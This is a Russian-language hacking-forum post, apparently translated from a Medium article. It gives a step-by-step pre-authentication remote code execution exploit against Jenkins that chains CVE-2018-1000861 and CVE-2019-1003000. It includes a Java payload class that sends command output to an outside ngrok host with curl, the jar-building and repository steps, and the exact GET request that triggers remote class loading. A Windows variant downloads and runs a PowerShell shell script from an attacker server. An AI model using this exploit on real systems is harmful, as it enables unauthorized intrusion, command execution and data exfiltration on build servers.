• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Jenkins RCE PoC или простое предварительное выполнение удаленного кода на сервере.

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
Однажды мой друг задал мне вопрос - «Ты знаешь какой-нибудь свежий RCE для среды Jenkins?». Я уже был проинформирован о некоторых старых RCE PoC, но это было не то, что нам было нужно. Это была свежая среда Jenkins. При быстром поиске я понял, что была обнаружена свежая уязвимость CVE-2019–1003000. Большое спасибо Orangetsai Tsai за столь понятное и интересное исследование в его блоге. Поэтому я изучил его исследования, сделав правильный POC на нашей цели.

1.jpeg


Я не могу раскрыть название цели.

Уязвимость RCE была эксплуатируемой, и здесь я могу поделиться, как это было с моей точки зрения. Корень проблемы был в функции конвейера, которая облегчает написание сценариев для создания, тестирования и доставки программного обеспечения в Jenkins. Исследователь обнаружил цепочку эксплойтов, использующую CVE-2018–1000861 и CVE-2019–1003000, которые обходят необходимость разрешения «Полное / Чтение» для RCE до авторизации. Если вы действительно хотите понимать суть - просто зайдите в блог Orange. Это действительно интересно понять и изучить!

Итак, сначала я сделал быструю проверку, чтобы убедиться, что проблема все еще существует. Для этого вам нужно всего лишь:
Код:
http://example.com/jenkins/securityRealm/user/admin/
В ответ мы должны увидеть «200 ок» примерно так:
Код:
Jenkins User Id: admin

2.png


Таким образом, это означает, что мы готовы к созданию обычного PoC в этой среде. Если вам лень воспроизводить все шаги - просто перейдите сюда. Но я сделал все шаги вручную.

1. Сохраните этот код как Orange.java:
Код:
public class Orange {
    public Orange(){
        try {
            String payload = "uname -a | curl -d @- http://myservertunnel.ngrok.io/";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}
Как вы видите в качестве доказательства концепции выполнения чего-либо на сервере, я выбрал это:
Код:
uname -a | curl -d @- http://myservertunnel.ngrok.io/

2. Далее вам нужно скомпилировать java *:
Код:
javac -target 1.8 Orange.java
Я сделал «-target 1.8», потому что у меня была проблема с классами Java на моем сервере Jenkins. Мне всегда возвращалась ошибка:

«Эксплойт» был скомпилирован более поздней версией Java Runtime (версия файла класса 54.0), эта версия Java Runtime распознает только версии файла класса до 52.0

3.png


Похоже, что когда я пытался атаковать - это всегда не удавалось именно с java 10, где ожидалось java 8. Флаг -target 1.8 решил эту проблему.

3. Выполняем - mkdir -p META-IN/services/

4. Выполняем - echo Orange> META-INF / services / org.codehaus.groovy.plugins.Runners

5. После выполнения этой команды find. Вы должны увидеть эту структуру:
Код:
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

6. Выполняем - jar cvf poc-1.jar ./Orange.class ./META-INF/

4.png

Просто сделайте скриншот всех необходимых шагов, чтобы сделать свой POC (без цели 1.8)

7. Создайте такую структуру: /tw/orange/poc/1/, и поместите ваш скомпилированный poc-1.jar в /tw/orange/poc/1/

8. В конце концов, я запустил локальный PHP-сервер с командой "php -S localhost:8080" и сделал его общедоступным с помощью туннеля ngrok.

9. Последним шагом было сделать такой запрос GET для моей цели:
Код:
http://example.com/jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://myservertunnel.ngrok.io/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
и в ответе вы увидите, что:
Код:
{
  "column": 0,
  "line": 0,
  "message": "",
  "status": "success"
}
Через несколько секунд я обнаружил входящий запрос с выполненной командой в теле запроса с сервера.

5.png


Команда была выполнена успешно, и у нас есть действующий RCE. Был сделан отчет об уязвимости. Цель была достигнута :)

Если у вас есть проблемы с выполнением команд в среде Windows - вы можете вызвать Nishang powershell в файле Orange.java:
Код:
public class Orange {
    public Orange(){
        try {
            String payload = "powershell iex(new-object net.webclient).downloadstring('http://yourserver.com/shell.ps1')";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/@valeriyshevchen...ote-code-execution-on-the-server-d18b868a77cb
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх